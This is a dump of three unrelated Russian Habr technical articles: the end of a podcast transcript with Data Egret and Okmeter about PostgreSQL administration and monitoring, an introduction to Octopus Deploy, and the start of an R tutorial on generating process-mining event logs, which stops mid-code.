**Владимир:** Есть хорошая новость, что в обозримом будущем интерфейс будет существенно улучшен. Мы уже активно делаем новый интерфейс, прямо с нуля. Надеюсь, уже скоро все его смогут попробовать.
**Алексей:** Главное, не отключать старый. Потому что знаете, если пользователям подсовываешь что-то новое, они такие: «У-у, не то. Верните нам старое».
**Илья:** На самом деле, когда Okmeter появился, его интерфейс после Zabbix был вау.
Как Data Egret делятся знаниями и опытом
----------------------------------------
**Владимир:** В процессе работы у вас накапливается какой-то большой объем знаний, опыта. Понятно, что часть своего опыта вы вложили в Okmeter. А все остальное вы как-то внутри агрегируете, делитесь этим с общественностью?
**Илья:** У нас много способов. Во-первых есть свое внутреннее хранилище инцидентов, опыта, набитых шишек, инструкций и так далее — как у всех. Во-вторых, мы стараемся все это активно объяснять людям на всех основных конференциях Postgres-коммьюнити, на коммерческих конференциях, где Postgres — одна из тем. Алексей тоже довольно много делает для того, чтобы этот опыт передать. Принципиальная такая позиция: мы не боимся раскрывать наш опыт.
> При этом я должен честно сказать, что идеального способа куда-то эти знания дампить, а потом ресторить кому-нибудь в голову, я пока не придумал.
>
>
Сами по себе знания можно сейчас получить откуда угодно. У Postgres хорошая документация, масса справочных материалов. Можно пойти на «[Планету](https://planet.postgresql.org/)», почитать, что там пишет куча умных людей, почитать рассылку «Хакера». Правда это занимает много времени. А для DBA очень важная часть — это опыт, который, в общем-то, не пропьешь. Знать много про PostgreSQL — это одно, а быть хорошим траблшутером Postgres’а — это принципиально другая история.
**Владимир:** А у вас есть какие-нибудь внутренние тренажеры для тех, кто приходит в компанию? Может быть, какой-то тестовый контур, где вы ломаете базу и просите починить?
**Илья:** Мы несколько раз такие вещи делали. Но с БД в этом плане сложно. Можно сделать тренировочную БД, но будет понятно, что она тренировочная. Какие-то задачи можно выполнять только на реальных клиентских кейсах, когда что-то происходит. К сожалению, тут очень сложно потренироваться сначала на кошках, а потом делать что-то свое. Хотя в принципе у каждого есть какие-то тестовые места для упражнений.
Об участии в Open Source-проектах
---------------------------------
**Владимир:** Кстати, о траблшутинге… Бывает же, наверное, в процессе вы находите какие-то неприятные баги в самой базе или в каких-нибудь Open Souce-утилитах. Как часто приходится коммитить исправления? И насколько активно компания участвует в жизни Open Source-проектов?
**Илья:** Если говорить о PostgreSQL, то это удивительно стабильный проект, с хорошим качеством кода. Что-то критичное, что надо срочно исправлять, появляется крайне редко. За всё время, пожалуй, всего один раз был очень серьезный баг, который затронул клиента. Баг был зарепорчен и очень быстро исправлен. По-моему, в версии 9.3 поломали репликацию, и при определенных случаях восстановление не происходило. Из бэкапа, соответственно, тоже. По мелочи же это постоянно происходит, потому что на подводные грабли с таким объемом клиентов мы наступаем регулярно.
Коммитить что-то самим и баги находить — это несколько разные вещи, и у нас часто этим занимаются разные люди. Мы очень много репортим багов в баг-рассылку. Потому что репортинг бага — это немножко другая задача, чем просто разработка. Я думаю, что Максим Богук, небезызвестный наш коллега, зарепортил багов больше, чем иные коммитеры за всю историю проекта PostgreSQL. Даже был анекдот, что это не реальный человек, а какая-то группа анонимных хакеров под псевдонимом шлет в баг-рассылку истории.
При этом надо понимать, что у нас сложившийся workflow. То есть мы знаем, как описать баг, как его воспроизвести. Примерно знаем, кто обычно работает с этой тематикой в Postgres, кого пнуть на этот счет персонально, если баг завис.
Но помимо это мы контрибьютим — как кодинг, так и некодинг. У нас есть ребята, которые постоянно попадают в списки контрибьюторов, потому что что-то делают. Например, Сергей Корнилов и Виктор Егоров. Я со своей стороны решаю некоторые менеджерские задачи сообщества. Поскольку сообщество — большое, таких задач тоже довольно много. Там надо и с людьми взаимодействовать, и организационные вопросы решать — то, чем, например, занимается [европейская ассоциация PostgreSQL](https://www.postgresql.eu/), где и я сижу. Там огромный список разных вещей, начиная с проведения конференций, заканчивая юридическим сопровождением коммьюнити. Это очень комплексная тема.
**Владимир:** Я даже немного растерялся: никогда не думал, что Open Source-сообщество вокруг баз данных настолько развито и настолько многогранно. В целом для меня БД всегда были немного темным ящиком. Оказывается, здесь гораздо более яркая и активная жизнь, чем кажется со стороны.
Владимир Гурьянов, ведущий инженер проекта OkmeterАутсорсинг DBA и мониторинга
----------------------------
**Владимир:** В моем коротком списке остался один вопрос, который я бы хотел обсудить. Не так давно Дима Столяров выступал с докладом «[Перестаньте делать Kubernetes](https://habr.com/ru/company/flant/blog/562246/)». Основная идея в том, что Куб — это очень сложная штука, и каждой компании делать ее очень дорого и сложно. Поэтому намного выгоднее и интереснее отдать ее кому-то на обслуживание, а самому заниматься более интересными задачами. Как вы думаете, насколько этот тезис справедлив по отношению к базам данных и к мониторингу — в том, чтобы отдать все эти составные кубики куда-то на аутсорсинг?
**Илья:** Сложный вопрос. Старорежимные админы раньше ругались на всякие микросервисы, контейнеры и прочее. Например, у вас есть проблема монолита. Вы разбиваете монолит на 50 маленьких монолитиков, и они должны взаимодействовать между собой. Но вы убрали одну проблему, перенесли ее на другой уровень и добавили новых. В принципе, это не решение первоначальной проблемы.
То есть — да, прикольно сосредоточиться на своем основном бизнесе; например, продавать мороженое на весь мир, его логистику обеспечивать. А ИТ-инфраструктуру такой компании, которая гипотетически будет играть огромную роль, отдать на Managed Kubernetes. Но очень быстро в таких компаниях мы что наблюдаем: что админам и техническим менеджерам, которые там работают, внезапно нужны совершенно другие скиллы.
Можно даже взять такой вульгарный пример. Например, мы, не сильно заморачиваясь с тем, как это должно работать, накликиваем в Amazon инфраструктуру компании. Что нам нужно: PostgreSQL, DynamoDB, какие-нибудь файловые хранилища, серверы для приложений и т. д. Во-первых, это будет очень дорого: не зная, можно очень легко пробить любой бюджет, особенно при масштабировании. С другой стороны, мы гарантированно сделаем это неправильно. В лучшем случае накликаем все это от рутового амазоновского пользователя, без правильного понимания политик, без правильного понимания менеджмент-ресурсов. То есть уже нужен специальный человек, который из кубиков что-то умеет составлять. Мы просто сдвигаем то, где у нас админ. Теперь он занимается немного другими вещами, но все равно он нужен.
**Владимир:** Да, все так. В этой ситуации по сути есть два таких рабочих решения. Это либо нанимать в штат специалистов, которые будут хорошо разбираться в предметной области, либо отдавать ее компаниям на аутсорсинг. Раньше компании очень боялись отдавать что-то во вне. И у меня такое ощущение, что в последнее время это очень сильно изменилось. Компании стали нормально к этому относиться, потому что сложность возросла настолько, что невозможно держать такое количество специалистов, просто невыгодно.
**Илья:** С одной стороны, это действительно так. С другой, я бы сказал, что компании научились работать с аутсорсингом, в хорошем смысле. Потому что одна из суровых проблем, с которыми мы сталкиваемся, это когда приходит к тебе, например, клиент — компания со своими поставленными процессами. Эти процессы, чего греха таить, неоптимальны. (Ни у кого нет оптимальных: ни у нас, ни у вас, ни у кого из наших слушателей. Всегда есть что-то индивидуальное, что в процессе изменений, что-то не совсем корректное.) И часто бывает так, что сложность процессов компании несоизмерима с тем, чтобы взять аутсорсинг. Ты хочешь взять DBA на аутсорсинг, а выясняется, что у тебя процедура согласования любого процесса, связанного с БД, включает 50 сотрудников из 20 департаментов. Никакой DBA этим заниматься не будет. А на самом деле тебе нужен DBA с большими скиллами менеджмента и с пониманием процессов именно этой компании.
Многие компании научились с этим работать. То есть, когда стало понятно, что проще держать внешнюю экспертизу, и стали целенаправленно учиться, как с такой экспертизой работать.
В то же время многие поняли, что обнести все колючей проволокой и переживать за свою безопасность без внешних подрядчиков — тоже не вариант. Все равно что-то когда-то рискует утечь. Нужно наращивать серьезную безопасность вместо того, чтобы считать, что мы просто не пускаем никого к себе в контур и поэтому якобы безопасны. Это тоже поменялось.
О важности soft skills для DBA
------------------------------
**Владимир:** Еще один вопрос про современные тенденции. Я все чаще вижу и слышу от коллег-инженеров, что при приеме на работу все больше учитываются не только hard skills, но еще и soft skills. Я знаю, что ряд крупных российских компаний при наличии двух примерно сопоставимых по силам кандидатов выбирают того, у кого сильнее soft skills, даже если слабее hard skills. А в случае с DBA это как-то проявляется?
**Илья:** Проявляется, конечно. Леша не даст соврать, мы иногда шутим, что нам нужно уметь не столько даже базу починить, сколько задушевную беседу с клиентом провести. Огромное количество проблем с БД связаны не с ними как таковыми, а с тем, что там какая-то ошибочная настройка, или плохой запрос приехал. Запросы пишут люди, настройки делают тоже люди. Люди делали что-нибудь, как им привычно, может быть, не совсем оптимально, и у них появилась какая-то проблема. Им надо объяснить, что виновата не база, а виноват подход — даже если он 10 лет назад был правильный, даже если вчера был правильный. Просто ситуация изменилась.
Поэтому для DBA умение объяснять на самом деле всегда было очень важным скиллом, а сейчас — особенно, поскольку все усложнилось. С БД работают разные люди из разных технологий. Люди часто гораздо больше ориентированы на продукт. И мне кажется, что soft skills просто всегда были недооцененными у базистов, потому что, дескать, они такие вот совсем системщики, в своей базе сидят и ничего вокруг не замечают. Но это на самом деле не так, и никогда так не было.
**Алексей:** Согласен с Ильей. Soft skills нужны, Всегда нужна способность договариваться с клиентом, самыми разными способами объяснять свою, скажем так, не претензию, а причину проблем. Если он не понимает, нужно с другой стороны зайти и снова как-то объяснить. И это нужно делать оперативно. Эти скиллы очень нужны и без них никуда. Просто потому что в какой-то момент можно зайти в тупик с клиентом: он будет стоять на своей позиции, DBA — на своей. Это будет контрпродуктивно для всех.
**Илья:** Это вообще давняя проблема эксплуатации и разработки. Очень часто бывает, что они сидят по разным окопам и друг с другом враждуют. А по идее, должны делать одно и то же дело. Для DBA, который ответственен за работу БД и считает что, это единственное, за что он ответственен, разработчики — это перманентная головная боль, потому что все время рискуют положить БД.
> Если заниматься тем, что просто отбиваться от разработчиков, не пытаясь проявить эмпатию, понять, почему они так делают, как они замотивированы, то это путь в никуда.
>
>
Ты очень быстро начнешь посылать всех, как человек за прилавком. Это неконструктивно и для работы, и для отношений, и для всего прочего.
Разработчик придумывал месяцами какую-то фичу, вынашивал разрабатывал, пробовал, ошибался. Тут он приносит тебе ее на ревью перед выкатыванием в бой (и хорошо, если приносит, а не так, что выкатил — и она упала). А ты ему говоришь: «Ну Вася, ты и дурак. Кто ж так делает...» Какой результат у такого диалога будет? *(Смеются.)*
Вопросы слушателей
------------------
***Вопрос из чата:*** *«Что Okmeter использует для хранения метрик?»*
**Владимир**: Это отличный вопрос. У Okmeter изначально был разработан свой формат хранения и передачи метрик. Сейчас он использует Cassandra как долгосрочное хранилище. Также у него есть Kafka в качестве буфера, и кэши, которые держат в памяти метрики за 1 час и за 4 часа. Но поскольку, повторюсь, там свой формат передачи метрик и их группировки, это позволяет потреблять не очень много ресурсов при большом объеме данных.
***Андрей:*** *Планируются ли в Okmeter какие-то интеграции с облачными метриками?*
**Владимир:** Да, планируются. Если у вас есть какие-то конкретные пожелания, предложения, напишите мне, мы это зафиксируем. Сейчас мы определились с направлениями, которые мы хотим сделать в первую очередь. У нас точно будет интеграция с большинством облаков. Пока четкого понимания, какие метрики и откуда мы будем забирать, нет, но в планах это есть. А также — автодетекты того, в каком облаке запущен агент, уведомления, если не хватает каких-то доступов, и так далее.
***Вячеслав:*** *Привет. Хотел бы поблагодарить Алексея Лесовского за его доклад на предыдущей конференции, которая была в этом чате. С удовольствием послушал. Я один из тех людей, которые сделали свой мониторинг — на базе InfluxDB со сборщиком Telegraf. Причина, по которой я сделал такой мониторинг: InfluxDB был хранилищем метрик, который был под рукой. Почему я продолжаю его использовать: попробовал Prometheus и InfluxDB. В Influx у меня получилось сделать различные retention policies с разным шагом хранения метрик. Метрики хранятся несколько месяцев и потом стираются. А в Prometheus не было такого встроенного механизма, и там они хранятся неделю у нас на стенде. Мы храним сразу в двух местах: неделю в Prometheus и много месяцев в другом хранилище.*
*По поводу Okmeter хотел узнать какой-то, может быть, секрет, как там всё хранится. Может, какой-то ClickHouse или еще что-то более компактное, производительное.*
**Владимир:** Если вам интересно посмотреть, как это реализовано под капотом, на YouTube есть [большой доклад Николая Сивко](https://www.youtube.com/watch?v=cAzblxYZstU). Он рассказывает как раз о том, как устроено хранилище Okmeter и почему именно такое решение было выбрано. В рамках текущей встречи в двух словах не рассказать, там много нюансов.
К слову, небольшой анонс. В ближайшие полгода, может быть, чуть больше, мы планируем запустить новый вариант хранилища для Okmeter. Как только мы получим первые результаты, мы обязательно ими поделимся. Но нам кажется, мы придумали достаточно интересную историю. Расскажем-покажем, как это будет работать.
***Дмитрий:*** *Всем привет. Учитывая, что здесь две компании, у меня вопросы к обеим.*
*Okmeter — достаточно большой комбайн, который мониторит много чего, насколько активно он смотрит в сторону развития мониторинга PostgreSQL, о котором в том числе Алексей Лесовский рассказывал в свое время. Появляются какие-то достаточно интересные дополнения к Postgres, которые, может быть, тоже было бы интересно мониторить — TimescaleDB и что-то еще.*
**Владимир:** По поводу развития мониторинга PostgreSQL мы продолжаем взаимодействовать с коллегами [из Data Egret]. Всё то, что появляется нового в Postgres, и то, что нужно добавлять, мы стараемся дорабатывать. В целом мы сейчас формируем обширный бэклог, который включает как текущие продукты и список того, что нужно доработать, так и новые. Потому что сейчас есть ряд новых, модных баз данных и продуктов, которые набирают популярность, и которые у нас недостаточно еще покрыты. И мы активно занимаемся развитием в этом направлении.
В любом случае система мониторинга — это очень живая вещь, которую нельзя сделать один раз так, чтобы она работала потом 5-10 лет. Ее нужно все время дорабатывать. В частности, поэтому у нас есть отдельная команда, которая занимается исключительно тем, что смотрит, какие метрики нужно еще собирать, как эти метрики формировать в полезные дашборды. Помимо этого, она взаимодействует с большим количеством разных компаний, как внутренних, так и внешних, разбирает реальные кейсы, вытаскивая из них информацию: какие данные еще нужны, как сформировать дашборды таким образом, чтобы можно было еще быстрее находить проблемы; как сформировать алерты таким образом, чтобы в следующий раз не допустить эти проблемы, узнавать о потенциальных проблемах заранее и успеть их предотвратить.
***Дмитрий:*** *Будут ли рассматриваться какие-то изменения, кроме технических — например, по коммерческой модели предоставления услуг?*
**Владимир:** Это более сложный вопрос. Прошло еще немного времени с момента [приобретения Okmeter](https://habr.com/ru/company/flant/blog/559846/). У нас есть идеи по тому, как мы изменим коммерческую модель. На данный момент это точно не будет связано с подорожанием [тарифов]. Детальной информации у меня сейчас нет. Но в ближайшие полгода-год позитивные изменения будут.
***Дмитрий:*** *У меня еще вопрос к Илье. Действительно вы правы по поводу того, что многие приходят с достаточно слабым мониторингом. И мы, в принципе, относимся к таким же компаниям. Ваша команда очень часто рекламирует Okmeter. А вы не думали его сами продавать в комплекте со своими услугами, чтобы клиенту не приходилось куда-то ходить, заключать с кем-то договор?*
**Илья:** На самом деле мы так делали: продавали нашим клиентами Okmeter «в коробке» для простоты. Но часто был обратный запрос, и связан он с очень простой технической историей. Как уже прозвучало, Okmeter — это такой комбайн, который много чего другого обслуживает. Мы обслуживаем только БД, а есть еще инфраструктура, с которой работают админы. Довольно неудобно получалось, когда серверы в мониторинг добавлялись через нашу команду. Чисто технически это получалось довольно странно. Как правило, тем, кто это пробовал, нужно было мониторить и что-то, совсем не касающееся PostgreSQL. Поэтому мы теперь клиентов сразу перенаправляем к коллегам.
***Вячеслав:*** *У меня есть вопрос на коммерческую тему. Раньше у Okmeter было две недели триального срока, что в принципе хорошо, чтобы оценить систему. А сейчас — неделя, и мне кажется, это маловато. Почему такие изменения произошли?*
**Владимир:** Изменения произошли чуть раньше того момента, когда Okmeter перешел к «Фланту». И про причины, почему случилось именно так, я вам не смогу ответить. Но я записал себе этот вопрос, мы с коллегами обсудим и подумаем. Возможно, вернутся старые две недели.
***Илья:*** *У нас есть вопрос в чате по поводу обработки статистики* `pg_stat_statements`*: «Как лучше группировать статистику — по queryid, query text, по обработанному query text? И почему?»*
**Алексей:** Я пришел к тому, что лучше всего группировать по трем полям: имя БД, имя пользователя и `queryid`. Потому что `queryid` не уникальный, и появляются дубликаты. Чтобы эти дубликаты отсечь, нужно группировать еще по `userid` и `dbid`.
Второй момент — по query text. С ним возникает та же проблема. Понятно, что в production, скорее всего, одинаковые запросы в разных базах данных не появятся. Но если какая-то инсталляция, где и production, и stage, и тестовая базы живут на одном оборудовании, или, например, собираются в одно хранилище, то можно получить одинаковые запросы. Причем одинаковые запросы, которые выполняются в разных базах, с разными пользователями. Нужно это учитывать.
И третий пункт — по обработанному query text. Я так подозреваю, что здесь вопрос в том, что нужно как-то предварительно нормализовать этот текст, и уже от него отталкиваться. Тут тоже есть нюанс. Когда мы обрабатываем этот query, получаем какую-то новую сущность. И если раньше у нас была возможность группировки по имени пользователя, имени базы и по `queryid`, то теперь появляется еще четвертая сущность. И всё становится немного сложнее. Допустим, в мониторинге мы увидели этот обработанный query, и это какой-то идентификатор. Мы должны его сопоставить с оригинальным запросом, который находится в `pg_stat_statements`. И вот тут могут быть сложности для обратной трансляции. Поэтому на мой взгляд самый лучший вариант — это связка из трех полей: имени пользователя, имени базы и `queryid`.
***Вячеслав:*** *Спасибо, Алексей. Я тоже сейчас стал использовать* `queryid`*. И когда общался с коллегами из Okmeter на стенде конференции HighLoad, мне рассказывали про специальную пост-обработку, которая позволяет получать статистику по двум похожим запросам, как-то объединить.*
**Алексей:** Да, они нормализуют запрос, и потом уже по этому нормализованному запросу отображают статистику. Вообще, нормализация `pg_stat_statements` не очень оптимальна. Например, запросы с разным количеством параметров в списке будут считаться отдельно. Хотя по факту это один и тот же запрос, просто количество параметров отличается. Они решили эту проблему через свою собственную нормализацию.
**Владимир:** Хочу добавить, что у Okmeter появился [свой чат](https://t.me/okmeter_chat). Если у кого-то есть вопросы по мониторингу, рады будем ответить.
***Дмитрий:*** *У меня еще один вопрос. Есть такая клевая штука в Okmeter, которая называется как-то Prometheus-like-API. В моем случае она мне очень пригодилась. Там, где я сейчас работаю, довольно много разных мониторингов. И это удобно собирать с разных систем: что-то одна система лучше мониторит, что-то — другая. А у Grafana единый интерфейс, и там уже права проще раздать: этот может смотреть это, другой — то. Эта штука как-то будет поддерживаться и развиваться?*
**Владимир:** Это хороший вопрос, спасибо. Та функциональность, которая есть, точно будет сохранена, во всяком случае в ближайшее время. Во-вторых, то, о чем идет речь, если я правильно понимаю, — да, будет развиваться. В глобальном роадмапе есть планы настроить совместимость Okmeter с Prometheus. Чтобы его можно было использовать не только как полноценную систему мониторинга, но и как облачное хранилище для метрик, очень быстрое и очень дешевое. Оттуда можно будет читать и туда можно будет писать. По индустриальным стандартам это, скорее всего, будет Prometheus read и Prometheus write.
**Илья:** Всем спасибо. И до новых встреч в эфире.
P.S.
----
Читайте также в нашем блоге:
* «[Postgres-вторник №5: PostgreSQL и Kubernetes. CI/CD. Автоматизация тестирования](https://habr.com/ru/company/flant/blog/479438/)»;
* «[Как будет развиваться сервис мониторинга после его покупки „Флантом“](https://habr.com/ru/company/flant/blog/559846/)»;
* «[Обзор операторов PostgreSQL для Kubernetes. Часть 1: наш выбор и опыт](https://habr.com/ru/company/flant/blog/520616/)».
|
https://habr.com/ru/post/568924/
| null |
ru
| null |
# Введение в Octopus Deploy
Continuous Integration и Continuous Delivery де-факто являются неотъемлемой частью современной разработки проектов. Для автоматизации CI существует множество программ от различных вендоров, а вот с автоматизированием развертывания приложений дела обстоят скромнее. Одним из помощников развертывания является Octopus Deploy.
### Введение
Давайте рассмотрим распространенный подход в процессе разработки. Разработчики пишут код, прогоняют unit-тесты по затронутому коду, делают commit. И делают это как можно чаще, согласно идеологии [CI](http://martinfowler.com/articles/continuousIntegration.html). Далее CI приложение (TeamCity, TFS, Jenkins, Bamboo, или другое любимое в вашей команде) собирает приложение и прогоняет автоматические тесты.
Наступает момент, когда пора отдать приложение на ручное тестирование и член команды ([DevOps](http://martinfowler.com/bliki/DevOpsCulture.html)) развертывает приложение для тестеров.
А вот и следующий момент, пора отдавать на тестирование заказчику (User Acceptance Test или Staging).
Ну и после зеленого сигнала от заказчика наступает главный по значимости момент, публикация приложение в production. Причем часто заказчик ожидает, что если что-то пойдет не так в production'e, то ваша команда сможет откатить все изменения щелчком пальца, максимум в течение получаса.
На помощь в развертывании .NET приложений приходит [Octopus Deploy](http://octopusdeploy.com/). Octopus забирает пакет с приложением и развертывает его на сервере. Обычно первым идет Dev Environment сервер. Далее можно легко продвинуть приложение на Test, UAT/Staging, а затем и Production environment сервера. Но обо всем по порядку.
### Устройство Octopus
Осьминожка использует Octopus Server, который забирает NuGet пакеты с приложениями. Забирать их может автоматически из [NuGet репозитория](http://docs.octopusdeploy.com/display/OD/Package+repositories), подписавшись на NuGet Feed CI сервера по http/https, или из обычной папки на сервере. Как правило NuGet пакет должен содержать полное приложение, например ваш полный ASP.NET Web сайт, или все файлы необходимые для установки Windows Service'a.
Дотягивается Octopus до серверов публикации с помощью щупалец. [Tentacle Agent](http://docs.octopusdeploy.com/display/OD/Installing+Tentacles) представляет собой легковесную программу, которая запускается в виде Windows Service'a, забирает Nuget пакет с Octopus Server'a и разворачивает приложение. Есть режим общения pull и push, т.е. Tentacle периодически опрашивает сервер на новые пакеты, или Tentacle ждет сигнала от сервера и сервер push'ит. Octopus Server также запускается в виде Windows сервиса, и общается со своими щупальцами через защищенной HTTPS (TLS и X.509 сертификат). Для большей безопасности при установке Octopus необходимо настроить каким Tentacle агентам доверяет сервер и наоборот.
В текущей версии 2.0 для хранения всех данных используется встроенная база данных RavenDB, но по [ряду причин](https://octopusdeploy.com/blog/3.0-switching-to-sql) в новой версии 3.0 перейдут на MS SQL Server. Кстати новая версия выйдет в ближайшие месяцы, хотя согласно политике компании у вас будет возможность обновиться до новой версии в ближайший год после покупки, после года вас не бросает на полный произвол и дают скачать критические обновления бесплатно, но уже, конечно, без новых фитч.
### Среда, роли и приложения
Остановимся немного подробнее на структуре, которая может получится.
У нас три environment'a (Test, Staging и Production). Шесть серверов, на которые установлены Tentacles и куда будет устанавливаться приложение. И две роли: octo-web и octo-app. Создание ролей очень удобно, например можно указать: установить сайт только на машины, у которых есть роль octo-web, а приложение только на машины с ролью octo-app. Заметьте, что для тестирования отведен один сервер, на котором будет находится и сайт, и приложение. А на production целых три сервера, один под приложение, и два под сайт. Это очень реалистичный сценарий с развертыванием двух копий сайта (без базы данных) и последующим запуском балансировщика.
Приложение OctoFX, с ролью octo-app, будет выглядеть следующим образом:
Жизненный цикл приложения будет заключаться в прохождении Test среды, далее Staging, а затем запуска на Production.
Настройки очень широкие и можно выбирать доступные среды для разных приложений.
### Шаги и переменные
##### Шаги
Каждое развертывание делается пошагово. И в каждом шаге есть возможность:
* Скачать и разместить содержимое NuGet пакета в папке, FTP или MS Azure сервере
* Запустить Power Shell скрипт, передать в скрипт переменные
* Обновить config файлы с помощью специальных переменных
* Трансформировать config файлы. Как правило при сборке будет запускаться config.Release, но вы можете добавить еще одну XML трансформацию поверх, например config.Staging
* Отправлять сообщения по электронной почте
* Останавливать процесс развертывания и запросить действия пользователя.
* Запускать специальный шаг для удобного разворачивания Windows сервиса
* Запускать специальный шаг для разворачивания сайта, включая обновление binding'ов и портов
##### Переменные
Переменные вынесены в отдельный блок и позволяют модифицировать значение в зависимости от среды, роли или имени сервера.
Рассмотрим пример с Хабром, если нам необходимы разные значения для адреса нашего сайта и мы хотим поменять переменную в web config'e, то достаточно ее добавить в блок
Тогда config файл
```
```
может быть автоматически трансформирован в Dev среде в
```
```
Удобнее всего хранить в переменных пароли, так как Octopus их шифрует и не позволяет скопировать или увидеть в дальнейшем в панели Variables. Существует возможность создать пользователей и ограничить доступ в средам. Таким образом с помощью блока переменных и ограничения доступа пользователям можно сделать так, что только администратор или Release менеджер может развернуть приложение в Production и соответсвенно увидеть пароли в конечном варианте config файла.
Имеются и специальные [системные переменные](http://docs.octopusdeploy.com/display/OD/System+variables). Их можно использовать также, как и пользовательские переменные, т.е. в PowerShell скриптах или Config файлах. Например, один из наших клиентов использует Umbraco сайт. Конечно в NuGet пакет имеет смысл складывать только исполняемую часть сайта, а не Гигабайты медиа контента. При обновлении сайта Octopus создает новую папку, т.е. на самом деле новый сайт, например, кладет его в папку \Octopus\Applications\UmracoSite\1.20.0\. И мы копируем с помощью PowerShell скрипта и переменной Octopus.Deployment.PreviousSuccessful.Id весь media контент из старой версии сайта в новую.
### Заключение
До сих пор я встречаю ручной бэкап базы данных перед развертыванием приложения, ручное изменение config файлов, множество вариантов самописных скриптов, которые хранятся локально и отличаются у программистов и системных администраторов, и даже ручное копирование папки приложения в production и test environment.
Попробуйте минимизировать человеческий фактор и рутину в этом процессе. И удачного вам deployment'a!
### Полезные ссылки:
[Проект](http://octopusdeploy.com/)
[Видео уроки](http://octopusdeploy.com/learn/videos/)
[Документация](http://docs.octopusdeploy.com/)
|
https://habr.com/ru/post/262409/
| null |
ru
| null |
# process mining: 100 строк кода и генератор логов у нас в руках
Продакт-менеджерам посвящается...
Заступая на территорию proccess mining, каждый участник рано или поздно будет нуждаться в наборе логов событий, отражающих те или иные специфические моменты в процессах. Эти логи нужны как на этапе демонстрации решения, подсвечивания определенных вопросов, так и для отработки алгоритмов или же тестов на производительность. Оба рекомендуемых сценария «взять с продуктивных систем» или «взять из интернета» терпят фиаско. Как правило, это очень
малые датасеты, слабо удовлетворяющие потребностям как по наполнению, так и по объему.
Остается вариант — написать генератор правдоподобных логов самостоятельно. Тут тоже есть два варианта.
* Вариант первый — превратить эту задачу в универсальный монстроподобный продукт, содержащий визуальный конструктор в нотации BPMN 2.0, всевозможные визуальные конструкторы формул и атрибутов, полноценную имитационную машину под капотом. Годы работы, миллионы на ветер, на выходе — файл с логами. КПД близок к нулю.
* Вариант второй — отнестись к этой задаче как к вспомогательной и создать инструментами data science стека упрощенный генератор в 100 строк кода.
Остановимся далее на втором варианте.
Является продолжением [серии предыдущих публикаций](https://habrahabr.ru/users/i_shutov/posts/).
Постановка задачи
=================
Сформулируем первичный набор требований:
* описание процессов должно быть в конфигурационном файле, ориентированном на редактирование человеком;
* генератор должен поддерживать элементы последовательно-параллельных локальных цепочек описываемых процессов;
* генератор должен создавать файлы логов объемом не менее нескольких гигабайт в сыром виде;
* генератор должен работать быстро (характерный масштаб времени — десятки секунд);
* генератор должен быть простым и компактным.
На этом пока остановимся, этих требований более чем достаточно, чтобы сформировать путь решения и отмести заведомо трудозатратные варианты.
Генератор событий
-----------------
Первая мысль, которая может прийти в голову — давайте напишем имитационный симулятор и будем по нему гонять цифровых человечков. Это хороший вариант, в R есть отличный пакет для DES — [simmer](https://r-simmer.org/index.html). Можно даже AnyLogic прикупить. Но нам это все не годится по двум причинам:
* процесс надо описывать кодом — какой уж тут конфигурационный файл и BPMN;
* для наших максимальных объемов это будет чрезвычайно медленно.
Воспользуемся такой идеей. Пойдем от обратного — будем не события генерировать, а трейсы. И создавать мы будем их простым Монте-Карло. Потом эти трейсы расщепим и набьем атрибутикой. Договоримся сразу, что трейс у нас будет простой текстовой строкой в которой последовательности активностей разделены заданным символом, остановимся на `-`. При подобном подходе нам даже не о чем беспокоиться. Большая выборка даст все возможные комбинации для относительно несложных процессов, а после генерации можно сделать однократную отбраковку по критериям. Пакетная обработка на несколько порядков быстрее штучной возни с каждым событием.
Конфигурация процессов
----------------------
Раз уж мы определились генерацию вести по трейсам, то и конфигуратор процесса нам тоже стоит сделать в пространстве трейсов. Как договорились выше, нотация BPMN нам не подходит в силу ее тяжеловесности. Все же, нам нужны различные вариативности в компактном виде, поэтому можем воспользоваться двумя трюками, заимствованных из семантики регулярных выражений:
* для описания ветвлений будем оперировать подпроцессами;
* для описания циклов воспользуемся квантификаторами.
Естественно, что это ограничивает модели, которые мы можем описать, но простота и компактность и большая гибкость в описании это вполне нивелируют. В силу того, что мы оперируем трейсами, то подпроцессы можно описывать как куски трейсов.
В итоге, остановимся на таком формате:
```
activity;quantifier
ENTER;1
FLOOR_1|FLOOR_2|FLOOR_3;1
(LOOK-DROP)|(LOOK-TAKE);{1,4}
(COFFEE-CAKE)|(CAKE-COFFEE);{0,1}
(OPEN-CLOSE);{0,2}
PAY|CANCEL;1
```
* `()` — определяют подпроцесс,
* `|` — определяет ветвление (ИЛИ),
* `{min, max}` — определяет квантификатор этого этапа.
В конце мы убедимся, что даже такой тривиальный формат вполне позволяет описывать сложность процессов, необходимую для задач, описанных в постановке.
Код генератора
==============
В первой версии работать будем в однопотоке. Естественно, что для очень больших объемов надо работать в многопоточном режиме и работать по ссылкам.
**Загружаем библиотеки**
```
library(tidyverse)
library(datapasta)
library(tictoc)
library(data.table)
library(stringi)
library(anytime)
library(rTRNG)
library(dqrng)
library(furrr)
library(tsibble)
data.table::setDTthreads(0) # отдаем все ядра в распоряжение data.table
data.table::getDTthreads() # проверим доступное количество потоков
```
**Читаем и разбираем конфигурацию бизнес-процесса**
```
bo_df <- here::here("data", "process_01.txt") %>%
read_delim(delim = ";") %>%
# первичный депарсинг
mutate(across(activity, ~stri_extract_all_regex(., "([A-Z0-9_\\-]+)"))) %>%
tidyr::extract(quantifier, into = c("q_min", "q_max"), "(\\d+),*(\\d+)?") %>%
mutate(across(c(q_min, q_max), as.integer)) %>%
# у одиночных операций нет верхнего квантификатора
mutate(q_max = if_else(is.na(q_max), q_min, q_max)) %>%
# для последующей расстановки операций
mutate(bo_idx = row_number())
```
**Генерируем трейсы быстрым способом**
```
ff <- function(activity, q_min, q_max, bo_idx){
nums <- q_min:q_max # class nums = 'integer'
n_cases <- 100000
dt <- data.table(case_id = 1:n_cases,
# на каждый кейс сгенерируем квантификатор
quantif = dqsample(nums, n_cases, replace = TRUE)) %>%
# для одинаковых квантификаторов можем сделать матрицу
.[, events := {
m <- matrix(dqsample(activity, .BY[[1]] * .N, replace = TRUE),
nrow = .N, byrow = TRUE);
# делаем свертку по строкам (MARGIN = 1), получаем вектор
apply(m, MARGIN = 1, stri_c, collapse = "-")}, by = quantif] %>%
# сбросим активности, которые оказались с нулевым квантификатором
.[events != ""] %>%
.[, bo_idx := bo_idx]
dt
}
tic()
# раскрываем квантификаторы для всех трейсов сразу
t_dt <- purrr::transpose(bo_df) %>%
map(~ff(.$activity, .$q_min, .$q_max, .$bo_idx)) %>%
rbindlist() %>%
# соберем паттерны по событиям в исходном порядке
